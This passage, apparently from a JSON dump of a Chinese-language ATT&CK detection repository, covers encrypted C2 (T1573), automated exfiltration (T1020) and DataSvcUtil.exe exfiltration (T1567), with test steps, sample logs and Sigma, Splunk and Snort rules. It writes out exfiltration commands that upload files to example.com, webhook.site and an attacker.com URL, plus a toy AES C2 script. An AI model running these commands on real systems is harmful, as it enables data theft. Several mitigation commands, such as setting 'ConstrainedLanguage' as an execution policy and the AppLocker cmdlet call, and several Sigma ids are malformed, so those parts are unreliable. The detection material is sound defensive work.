    "content": "# T1573-标准加密协议\n\n## 描述\n\n攻击者可能使用标准加密协议（如SSL/TLS、SSH或IPSec）或已知的加密算法（如AES、RSA）来隐藏命令和控制（C2）流量，以规避网络检测。这些协议通常用于合法通信，因此难以与正常流量区分。然而，如果加密密钥在恶意软件样本、配置文件或通信中以明文形式存储或通过可预测的方式生成，攻击者的加密流量可能通过逆向工程或密钥提取被破解，从而暴露C2通信内容。\n\n## 测试案例\n\n### 用例\n- **C2通信**：恶意软件使用TLS加密通过HTTPS协议与C2服务器通信。\n- **数据泄露**：攻击者通过SSH隧道传输窃取的数据。\n- **自定义加密**：恶意软件使用AES加密C2流量，密钥硬编码在样本中。\n\n### 示例场景\n- 恶意软件通过TLS加密连接到攻击者控制的服务器（端口443），发送命令和接收指令。\n- 攻击者使用硬编码的AES密钥加密C2通信，密钥可通过逆向工程提取。\n\n### 所需权限\n- 用户权限（恶意软件执行环境）。\n\n### 操作系统\n- Windows、Linux、macOS（与平台无关）。\n\n## 检测日志\n\n### 网络日志\n- **TLS/SSL流量**：捕获HTTPS流量（端口443）或非标准端口上的TLS加密通信。\n- **SSH流量**：记录SSH连接（端口22或非标准端口）。\n- **IPSec流量**：监控VPN或IPSec隧道的异常使用。\n\n### Sysmon日志\n- **事件ID 3**：记录加密协议的网络连接，捕获源/目标IP、端口和协议。\n- **事件ID 1**：捕获发起加密通信的进程信息。\n\n### EDR日志\n- EDR工具（如Microsoft Defender for Endpoint、CrowdStrike）记录异常加密流量或进程行为。\n\n### 恶意软件分析日志\n- 逆向工程日志：提取恶意软件样本中的硬编码密钥或加密算法配置。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Linux。\n- **权限**：用户权限。\n- **工具**：\n  - OpenSSL或Python脚本（模拟TLS/AES加密通信）。\n  - Wireshark（捕获加密流量）。\n  - Sysmon（监控进程和网络活动）。\n  - 测试C2服务器（支持TLS或自定义加密）。\n- **网络**：隔离网络环境，允许加密协议流量（如TLS、SSH）。\n- **日志**：启用网络日志、Sysmon日志和EDR监控。\n\n### 攻击步骤\n1. **设置测试服务器**：\n   - 配置TLS服务器（使用自签名证书）：\n     ```bash\n     openssl s_server -key key.pem -cert cert.pem -accept 8443\n     ```\n   - 或使用Python模拟AES加密C2通信：\n     ```python\n     from Crypto.Cipher import AES\n     import socket\n\n     key = b'Sixteen byte key'\n     cipher = AES.new(key, AES.MODE_ECB)\n\n     server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n     server.bind(('0.0.0.0', 8443))\n     server.listen(1)\n     conn, addr = server.accept()\n     data = cipher.encrypt(b'Test C2 Command ')\n     conn.send(data)\n     conn.close()\n     ```\n2. **客户端发起加密通信**：\n   - 使用`curl`连接TLS服务器：\n     ```bash\n     curl https://<server_ip>:8443 --insecure\n     ```\n   - 或使用Python客户端解密AES数据：\n     ```python\n     from Crypto.Cipher import AES\n     import socket\n\n     key = b'Sixteen byte key'\n     cipher = AES.new(key, AES.MODE_ECB)\n\n     client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n     client.connect(('<server_ip>', 8443))\n     data = client.recv(1024)\n     print(cipher.decrypt(data))\n     client.close()\n     ```\n3. **验证结果**：\n   - 使用Wireshark捕获TLS或加密流量，确认加密协议和端口。\n   - 检查Sysmon日志，验证发起连接的进程。\n4. **清理**：\n   - 停止测试服务器，删除临时文件和证书。\n\n## 测试留痕\n以下为网络日志示例（Wireshark捕获）：\n```log\nTimestamp: 2025-06-08 12:55:23\nSource IP: 192.168.1.100\nDestination IP: 192.168.1.200\nSource Port: 49152\nDestination Port: 8443\nProtocol: TCP/TLS\nInfo: TLSv1.3 Handshake\n```\n\n以下为Sysmon日志示例（事件ID 3）：\n```yml\nEventID: 3\nUtcTime: 2025-06-08 12:55:23.456\nProcessGuid: {12345678-9abc-def0-1234-56789abcdef0}\nProcessId: 1234\nImage: C:\\Program Files\\Python39\\python.exe\nSourceIp: 192.168.1.100\nSourcePort: 49152\nDestinationIp: 192.168.1.200\nDestinationPort: 8443\nProtocol: tcp\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测异常加密协议通信：\n\n```yml\ntitle: Suspicious Encrypted Channel Activity\nid: c7b8d9e0-4f5a-4e6b-9d8c-3a4b5c6d7e8f\nstatus: experimental\ndescription: Detects suspicious use of encrypted protocols for potential C2 communication\nreferences:\n- https://attack.mitre.org/techniques/T1573\nlogsource:\n  product: windows\n  category: network_connection\ndetection:\n  selection:\n    EventID: 3  # Sysmon network connection\n    DestinationPort:\n      - 8443  # Non-standard TLS port\n      - 22    # SSH\n    Protocol: tcp\n    Image|notin:\n      - 'C:\\Program Files*\\Google\\Chrome\\Application\\chrome.exe'\n      - 'C:\\Program Files*\\Mozilla Firefox\\firefox.exe'\n  condition: selection\nfalsepositives:\n- Legitimate applications using encrypted protocols\n- Custom internal services\nlevel: medium\n```\n\n### 检测思路\n1. **流量分析**：\n   - 监控TLS/SSL、SSH或IPSec流量，重点关注非标准端口（如8443）或异常流量模式。\n   - 检查加密流量是否连接到可疑IP或新注册域名。\n2. **密钥提取**：\n   - 逆向分析恶意软件样本，提取硬编码的加密密钥或算法配置。\n   - 检查配置文件或内存转储中的明文密钥。\n3. **进程监控**：\n   - 检测发起加密通信的异常进程（如非浏览器进程发起TLS流量）。\n   - 使用Sysmon事件ID 1关联进程与网络活动。\n4. **行为基线**：\n   - 建立组织内正常加密流量的基线，识别偏离基线的异常连接。\n5. **威胁情报**：\n   - 结合威胁情报，检测连接到已知C2服务器的加密流量。\n\n### 检测建议\n- **深度包检测（DPI）**：部署IDS/IPS（如Snort、Suricata），分析加密流量的元数据（不解密内容）。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测异常进程的加密通信。\n- **逆向工程**：分析可疑样本，提取加密算法和密钥。\n- **DNS分析**：监控与加密流量相关的DNS查询，检测可疑域名。\n\n## 缓解措施\n1. **网络分段**：\n   - 限制内部主机直接发起外部加密通信，强制通过代理服务器。\n2. **流量监控**：\n   - 部署TLS拦截代理（需合法授权），检查加密流量的目标和证书。\n3. **白名单策略**：\n   - 限制系统仅连接受信任的加密服务器，阻止未知IP或域名的通信。\n4. **进程限制**：\n   - 使用应用白名单工具（如AppLocker）限制非授权进程发起加密通信。\n5. **威胁情报**：\n   - 定期更新C2服务器和恶意域名的黑名单。\n\n## 参考推荐\n- MITRE ATT&CK T1573  \n  https://attack.mitre.org/techniques/T1573\n"
  },
  {
    "path": "Windows/13数据外泄/T1020-Win-自动渗出.md",
    "content": "# T1020-Win-自动渗出\n\n## 描述\n\n攻击者通过自动化脚本或工具（如PowerShell、批处理脚本）在数据收集后将敏感信息（如文件、凭据）从目标系统传输到外部网络（T1020）。自动渗出通常结合其他技术（如通过C2通道或替代协议）以高效、隐蔽地转移数据。攻击者可能使用HTTP、HTTPS、FTP或DNS等协议，通过合法流量掩盖数据外传行为。常见场景包括恶意软件（如IcedID Botnet）通过HTTP PUT/POST请求上传窃取的文件，或勒索软件在加密前将数据渗出。\n\n自动化渗出的隐蔽性在于其可通过脚本批量处理文件，减少手动操作痕迹。检测重点在于监控异常网络流量、文件访问模式及脚本执行行为，尤其是在PowerShell或命令行工具（如`curl`、`Invoke-WebRequest`）发起的网络请求。\n\n## 测试案例\n\n1. **IcedID Botnet HTTP PUT模拟**  \n   使用PowerShell通过HTTP PUT方法上传测试文件到外部服务器，模拟恶意软件渗出行为。  \n2. **批量文件渗出**  \n   使用脚本遍历目录，上传敏感文件（如`.txt`、`.docx`）到远程服务器。  \n3. **通过C2通道渗出**  \n   使用自定义脚本通过HTTPS POST请求将数据发送到攻击者控制的服务器。  \n\n### 示例命令\n#### IcedID Botnet HTTP PUT\n- **创建并上传文件**（需替换有效的`$url`）：\n  ```powershell\n  $fileName = \"C:\\Temp\\test.txt\"\n  $url = \"https://example.com/upload\"\n  $file = New-Item -Force $fileName -Value \"This is ART IcedID Botnet Exfil Test\"\n  $contentType = \"application/octet-stream\"\n  try { Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName } catch {}\n  ```\n- **清理文件**：\n  ```powershell\n  Remove-Item -Path $fileName -ErrorAction Ignore\n  ```\n\n## 检测日志\n\n**Windows PowerShell日志**  \n- **事件ID 4104**：记录PowerShell脚本块执行，捕获`Invoke-WebRequest`等命令。  \n- **事件ID 4103**：记录PowerShell模块加载和命令执行细节。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，如`powershell.exe`及其命令行参数。  \n- **事件ID 3**：记录网络连接，捕获HTTP PUT请求的源/目标IP和端口。  \n- **事件ID 11**：记录文件创建/写入，如测试文件的生成。  \n\n**Windows安全日志**  \n- 通常无直接记录，除非涉及权限提升或进程注入（事件ID 4688）。  \n\n**网络日志**  \n- 捕获HTTP/HTTPS流量，尤其是PUT/POST请求，检查异常URL或数据量。  \n\n**配置日志记录**  \n- 启用PowerShell日志：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。  \n- 启用Sysmon事件：配置规则监控`powershell.exe`进程、网络连接和文件操作。  \n- 配置防火墙或IDS/IPS记录出站请求（如HTTP PUT）。  \n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2022（测试失败于Windows Server 2022）。  \n- **权限**：用户权限（无需管理员，除非修改系统文件）。  \n- **工具**：`PowerShell`（系统自带）、Sysmon、受控测试服务器（如`https://example.com`需支持HTTP PUT）。  \n- **文件路径**：`C:\\Temp\\test.txt`（确保路径可写）。  \n- **日志**：启用PowerShell日志、Sysmon日志，配置网络监控工具（如Wireshark）。  \n\n### 攻击步骤\n1. **创建并上传文件**  \n   - 执行PowerShell脚本：\n     ```powershell\n     $fileName = \"C:\\Temp\\test.txt\"\n     $url = \"https://example.com/upload\"\n     $file = New-Item -Force $fileName -Value \"This is ART IcedID Botnet Exfil Test\"\n     $contentType = \"application/octet-stream\"\n     try { Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName } catch {}\n     ```\n\n2. **清理文件**  \n   - 删除测试文件：\n     ```powershell\n     Remove-Item -Path $fileName -ErrorAction Ignore\n     ```\n\n3. **验证结果**  \n   - 检查PowerShell日志：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-PowerShell/Operational\" | Where-Object { $_.Id -eq 4104 -and $_.Message -match \"Invoke-WebRequest\" }\n     ```\n   - 检查Sysmon日志（网络连接）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"powershell.exe\" }\n     ```\n   - 检查网络流量（需Wireshark或其他工具）。  \n\n4. **测试失败分析**  \n   - **问题**：原始测试在Windows Server 2022使用`https://google.com`失败，因Google不支持HTTP PUT上传。  \n   - **解决**：替换为支持PUT的测试服务器（如自建WebDAV服务器或`https://example.com/upload`）。  \n   - **替代测试**：\n     ```powershell\n     $url = \"http://127.0.0.1:8080/upload\" # 本地测试服务器\n     ```\n\n5. **清理**  \n   - 确保删除测试文件：\n     ```powershell\n     Remove-Item -Path \"C:\\Temp\\test.txt\" -ErrorAction Ignore\n     ```\n\n### 示例输出\n```powershell\n$fileName = \"C:\\Temp\\test.txt\"\n$url = \"http://127.0.0.1:8080/upload\"\n$file = New-Item -Force $fileName -Value \"This is ART IcedID Botnet Exfil Test\"\n$contentType = \"application/octet-stream\"\ntry { Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName } catch {}\n\nRemove-Item -Path $fileName -ErrorAction Ignore\n<文件上传成功，无错误输出>\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 日志留痕\n\n- **PowerShell日志（事件ID 4104，脚本块执行）**：\n  ```plaintext\n  EventID: 4104\n  Source: Microsoft-Windows-PowerShell\n  Message: Creating Scriptblock text (1 of 1):\n  try { Invoke-WebRequest -Uri http://127.0.0.1:8080/upload -Method Put -ContentType \"application/octet-stream\" -InFile C:\\Temp\\test.txt } catch {}\n  ScriptBlock ID: {12345678-abcd-1234-abcd-1234567890ab}\n  Path: \n  ```\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 3456\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  CommandLine: powershell.exe -Command \"...Invoke-WebRequest...\"\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\User\n  IntegrityLevel: Medium\n  ```\n\n- **Sysmon日志（事件ID 3，网络连接）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  DestinationIp: 127.0.0.1\n  DestinationPort: 8080\n  Protocol: tcp\n  User: CONTOSO\\User\n  ```\n\n- **Sysmon日志（事件ID 11，文件创建）**：\n  ```plaintext\n  EventID: 11\n  UtcTime: 2025-06-10 03:00:00.345\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  TargetFilename: C:\\Temp\\test.txt\n  User: CONTOSO\\User\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控网络流量、文件访问和脚本执行，检测自动渗出行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控PowerShell日志事件ID 4104，检测`Invoke-WebRequest`、`Invoke-RestMethod`或`System.Net.WebClient`的使用。  \n   - 监控Sysmon事件ID 3，检测`powershell.exe`发起的异常出站连接（如HTTP PUT/POST）。  \n   - 监控Sysmon事件ID 11，检测批量文件创建或访问，结合网络事件。  \n   - 监控Sysmon事件ID 1，检测`powershell.exe`或`curl.exe`的异常命令行参数。  \n   - 使用网络监控工具（Wireshark、Zeek）分析HTTP/HTTPS流量，检查PUT/POST请求的异常URL或数据量。  \n\n2. **Sigma规则（PowerShell HTTP渗出）**：\n   ```yaml\n   title: PowerShell HTTP渗出检测\n   id: q45678901-abcd-2345-6789-01234567pqrs\n   status: experimental\n   description: 检测PowerShell通过HTTP PUT/POST执行数据渗出\n   references:\n     - https://attack.mitre.org/techniques/T1020/\n     - https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1020\n   tags:\n     - attack.exfiltration\n     - attack.t1020\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith: '\\powershell.exe'\n       CommandLine|contains:\n         - 'Invoke-WebRequest'\n         - 'Invoke-RestMethod'\n         - '-Method Put'\n         - '-Method Post'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 合法自动化脚本\n     - 管理员调试操作\n   level: high\n   ```\n\n3. **Sigma规则（异常网络连接）**：\n   ```yaml\n   title: PowerShell异常网络连接检测\n   id: r56789012-abcd-3456-7890-12345678qrst\n   status: experimental\n   description: 检测PowerShell发起的异常HTTP出站连接\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 3\n       Image|endswith: '\\powershell.exe'\n       Protocol: tcp\n       DestinationPort:\n         - 80\n         - 443\n         - 8080\n     condition: selection\n   fields:\n     - Image\n     - DestinationIp\n     - DestinationPort\n     - User\n   falsepositives:\n     - 合法Web请求\n     - 更新检查\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测PowerShell渗出行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=1 Image=\"*powershell.exe\" CommandLine IN (\"*Invoke-WebRequest*\",\"*Invoke-RestMethod*\",\"*-Method Put*\",\"*-Method Post*\")) OR (EventID=3 Image=\"*powershell.exe\" DestinationPort IN (80,443,8080))) | stats count by Image, CommandLine, DestinationIp, DestinationPort, User, ComputerName\n     ```\n\n5. **文件访问监控**：\n   - 检查异常文件访问模式：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 11 -and $_.Message -match \"\\.txt|\\.docx|\\.pdf\" }\n     ```\n\n6. **网络流量分析**：\n   - 使用IDS/IPS规则检测HTTP PUT/POST请求，检查异常Content-Type（如`application/octet-stream`）。  \n   - 示例Snort规则：\n     ```snort\n     alert tcp $HOME_NET any -> $EXTERNAL_NET 80,443,8080 (msg:\"Suspicious HTTP PUT Request\"; content:\"PUT\"; http_method; content:\"application/octet-stream\"; http_header; sid:1000001;)\n     ```\n\n7. **工具支持**：\n   - 使用Sysinternals Process Monitor捕获PowerShell文件和网络活动。  \n   - 使用Wireshark分析HTTP流量，检查PUT/POST请求的URL和数据。  \n\n8. **威胁情报整合**：\n   - 检查目标URL或IP是否与已知C2服务器匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御自动渗出攻击需从网络控制、脚本监控和文件保护入手：\n\n1. **限制出站网络访问**  \n   - 配置防火墙阻止非必要出站连接（如HTTP PUT/POST到未知域名）：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block HTTP PUT\" -Direction Outbound -Action Block -Protocol TCP -RemotePort 80,443 -Program \"%SystemRoot%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"\n     ```\n\n2. **限制PowerShell执行**  \n   - 启用受约束语言模式：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\" -Name ExecutionPolicy -Value ConstrainedLanguage\n     ```\n   - 使用AppLocker限制PowerShell脚本：\n     ```powershell\n     New-AppLockerPolicy -RuleType Script -Path \"*.ps1\" -Action Deny -User \"Everyone\"\n     ```\n\n3. **监控文件访问**  \n   - 使用文件完整性监控（FIM）工具检测敏感文件（如`.txt`、`.docx`）的异常访问。  \n   - 配置Sysmon监控文件创建/写入：\n     ```xml\n     <RuleGroup name=\"FileCreate\" groupRelation=\"and\">\n       <FileCreate onmatch=\"include\">\n         <TargetFilename condition=\"end with\">.txt</TargetFilename>\n       </FileCreate>\n     </RuleGroup>\n     ```\n\n4. **加强日志监控**  \n   - 启用PowerShell日志事件ID 4103、4104，检测脚本执行。  \n   - 配置SIEM实时告警PowerShell网络连接或文件访问事件。  \n   - 使用EDR工具检测异常网络行为。  \n\n5. **定期审计**  \n   - 检查PowerShell执行记录：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-PowerShell/Operational\" | Where-Object { $_.Id -eq 4104 }\n     ```\n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 }\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，修复可能被利用的PowerShell漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1020  \n  <https://attack.mitre.org/techniques/T1020/>  \n- Atomic Red Team: T1020  \n  <https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1020>"
  },
  {
    "path": "Windows/13数据外泄/T1567-win-通过Web服务进行渗透-DataSvcUtil.exe(白名单).md",
    "content": "# T1567-Win-通过Web服务进行渗透-DataSvcUtil.exe\n\n## 描述\n\n攻击者利用合法的外部Web服务（如云存储、文件共享平台）通过HTTP/HTTPS协议渗出数据，绕过传统C2通道（T1567）。由于这些服务（如Google Drive、Dropbox）常被组织允许访问，其流量可能被防火墙规则放行，攻击者可利用此掩盖渗出行为。SSL/TLS加密进一步增强了隐蔽性，难以通过明文检测。攻击者可能使用白名单工具（如`DataSvcUtil.exe`）发起渗出请求，伪装成合法操作。\n\n`DataSvcUtil.exe`是Windows .NET Framework自带的命令行工具，位于`C:\\Windows\\Microsoft.NET\\Framework64\\<version>\\`，用于生成WCF数据服务客户端类。攻击者可滥用其`/uri`参数向外部Web服务发送数据（如编码后的文件），实现渗出。检测重点在于监控`DataSvcUtil.exe`的异常命令行参数、网络连接及文件操作。\n\n## 测试案例\n\n1. **通过HTTP上传文件**  \n   使用`DataSvcUtil.exe`将本地文件编码后通过`/uri`参数上传到外部Web服务。  \n2. **凭据渗出**  \n   将窃取的凭据写入文件并通过`DataSvcUtil.exe`发送到攻击者控制的服务器。  \n3. **结合编码技术**  \n   使用Base64编码文件内容，附加到URL参数（如`/uri:https://attacker.com/?data=<encoded>`）。\n\n### 示例命令\n- **上传文件**（需用户权限）：\n  ```cmd\n  DataSvcUtil.exe /out:C:\\Windows\\System32\\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile\n  ```\n- **清理**（无直接文件生成，无需清理）。\n\n**注意**：实际测试需替换`https://webhook.site/xxxxxxxxx`为支持接收数据的有效URL。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`DataSvcUtil.exe`的进程创建及其命令行参数。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录`DataSvcUtil.exe`进程创建，包含命令行细节。  \n- **事件ID 3**：记录`DataSvcUtil.exe`发起的网络连接（如HTTPS到外部域名）。  \n- **事件ID 11**：记录文件创建/写入（若攻击者生成临时文件）。  \n\n**PowerShell日志**  \n- 无直接记录，除非通过PowerShell脚本调用`DataSvcUtil.exe`。\n\n**网络日志**  \n- 捕获HTTPS流量，检查异常URL（如`webhook.site`）或非预期域名。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用Sysmon配置：监控`DataSvcUtil.exe`的进程、网络和文件操作。  \n- 配置防火墙或IDS/IPS记录出站HTTPS请求。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11（含.NET Framework 3.5或4.0）。  \n- **权限**：用户权限（无需管理员）。  \n- **工具**：`DataSvcUtil.exe`（系统自带，路径如`C:\\Windows\\Microsoft.NET\\Framework64\\v3.5`）、Sysmon、测试Web服务（如`webhook.site`）。  \n- **日志**：启用Windows安全日志、Sysmon日志，配置网络监控（如Wireshark）。  \n\n### 攻击步骤\n1. **验证工具路径**  \n   - 确认`DataSvcUtil.exe`存在：\n     ```cmd\n     dir C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe\n     ```\n\n2. **执行渗出测试**  \n   - 尝试上传文件到测试URL：\n     ```cmd\n     DataSvcUtil.exe /out:C:\\Windows\\System32\\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile\n     ```\n\n3. **验证结果**  \n   - 检查命令输出（可能因URL无效报404错误）：\n     ```plaintext\n     Microsoft (R) DataSvcUtil 版本 3.5.0.0\n     正在写入对象层文件...\n     错误 7001: 远程服务器返回错误: (404) 未找到。\n     生成已完成 -- 1 个错误，0 个警告\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4688）**：\n       ```powershell\n       Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"DataSvcUtil.exe\" }\n       ```\n     - **Sysmon日志（事件ID 1）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"DataSvcUtil.exe\" }\n       ```\n     - **Sysmon日志（事件ID 3）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"DataSvcUtil.exe\" }\n       ```\n   - 检查网络流量（使用Wireshark确认HTTPS请求）。\n\n4. **测试失败分析**  \n   - **问题**：使用`https://www.baidu.com/`报404，因目标不支持OData或文件上传。  \n   - **解决**：替换为支持接收数据的Web服务（如`webhook.site`或自建服务器）。  \n   - **替代测试**：\n     ```cmd\n     DataSvcUtil.exe /out:C:\\Temp\\test.txt /uri:http://127.0.0.1:8080/upload\n     ```\n\n5. **清理**  \n   - 无需清理（`DataSvcUtil.exe`不生成持久化文件，除非`/out`指定文件存在）：\n     ```cmd\n     del C:\\Temp\\test.txt\n     ```\n\n### 示例输出\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework64\\v3.5>DataSvcUtil.exe /out:C:\\Temp\\test.txt /uri:https://webhook.site/xxxxxxxxx?encodedfile\nMicrosoft (R) DataSvcUtil 版本 3.5.0.0\n正在写入对象层文件...\n<成功或错误信息，取决于URL有效性>\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 日志留痕\n\n- **Windows安全日志（事件ID 4688，进程创建）**：\n  ```plaintext\n  EventID: 4688\n  Subject:\n    Security ID: DESKTOP-PT656L6\\liyang\n    Account Name: liyang\n    Account Domain: DESKTOP-PT656L6\n    Logon ID: 0x47126\n  Process Information:\n    New Process ID: 0x2260\n    New Process Name: C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe\n    Token Elevation Type: TokenElevationTypeLimited (3)\n    Mandatory Label: Mandatory Label\\Medium Mandatory Level\n    Creator Process ID: 0x24b4\n    Creator Process Name: C:\\Windows\\System32\\cmd.exe\n    Process Command Line: DataSvcUtil /out:C:\\Temp\\test.txt /uri:https://webhook.site/xxxxxxxxx?encodedfile\n  ```\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 8800\n  Image: C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe\n  CommandLine: DataSvcUtil /out:C:\\Temp\\test.txt /uri:https://webhook.site/xxxxxxxxx?encodedfile\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: DESKTOP-PT656L6\\liyang\n  IntegrityLevel: Medium\n  ```\n\n- **Sysmon日志（事件ID 3，网络连接）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe\n  DestinationIp: <webhook.site IP>\n  DestinationPort: 443\n  Protocol: tcp\n  User: DESKTOP-PT656L6\\liyang\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控`DataSvcUtil.exe`的进程执行、网络连接及文件操作，检测异常渗出行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 1，检测`DataSvcUtil.exe`执行，检查命令行是否包含`/out`和`/uri`。  \n   - 监控Sysmon事件ID 3，检测`DataSvcUtil.exe`的出站连接（HTTPS端口443）。  \n   - 监控Sysmon事件ID 11，检测`DataSvcUtil.exe`生成的文件（如`/out`指定路径）。  \n   - 监控Windows安全日志事件ID 4688，检测`DataSvcUtil.exe`进程创建。  \n   - 使用网络监控工具（Wireshark、Zeek）分析HTTPS流量，检查异常域名或URL模式。  \n\n2. **Sigma规则（DataSvcUtil.exe渗出）**：\n   ```yaml\n   title: DataSvcUtil.exe数据渗出检测\n   id: e290b10b-1023-4452-a4a9-eb31a9013b3a\n   status: stable\n   description: 检测使用DataSvcUtil.exe进行数据渗出的行为\n   author: Ialle Teixeira, Austin Songer, Grok\n   date: 2021/09/30\n   references:\n     - https://attack.mitre.org/techniques/T1567/\n     - https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/\n   tags:\n     - attack.exfiltration\n     - attack.t1567\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       CommandLine|contains|all:\n         - '/out:'\n         - '/uri:'\n       Image|endswith: '\\DataSvcUtil.exe'\n     condition: selection\n   fields:\n     - ComputerName\n     - User\n     - CommandLine\n     - ParentCommandLine\n   falsepositives:\n     - 合法.NET开发操作\n     - 管理员调试WCF服务\n   level: high\n   ```\n\n3. **Sigma规则（DataSvcUtil.exe网络连接）**：\n   ```yaml\n   title: DataSvcUtil.exe异常网络连接检测\n   id: s67890123-abcd-4567-8901-23456789tuvw\n   status: experimental\n   description: 检测DataSvcUtil.exe发起的异常出站网络连接\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 3\n       Image|endswith: '\\DataSvcUtil.exe'\n       Protocol: tcp\n       DestinationPort: 443\n     condition: selection\n   fields:\n     - Image\n     - DestinationIp\n     - DestinationPort\n     - User\n   falsepositives:\n     - 合法WCF服务请求\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测`DataSvcUtil.exe`渗出行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Security\" EventCode=4688 Image=\"*DataSvcUtil.exe\" CommandLine=\"* /out:* /uri:*\") OR (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventID=3 Image=\"*DataSvcUtil.exe\" DestinationPort=443) | stats count by Image, CommandLine, DestinationIp, DestinationPort, User, ComputerName\n     ```\n\n5. **文件监控**：\n   - 检查`/out`指定文件的创建：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 11 -and $_.Message -match \"DataSvcUtil.exe\" }\n     ```\n\n6. **网络流量分析**：\n   - 使用IDS/IPS规则检测HTTPS请求，检查异常URL或域名。  \n   - 示例Snort规则：\n     ```snort\n     alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:\"Suspicious DataSvcUtil HTTPS Request\"; content:\"DataSvcUtil\"; http_client_body; sid:1000002;)\n     ```\n\n7. **工具支持**：\n   - 使用Sysinternals Process Monitor捕获`DataSvcUtil.exe`的进程和网络活动。  \n   - 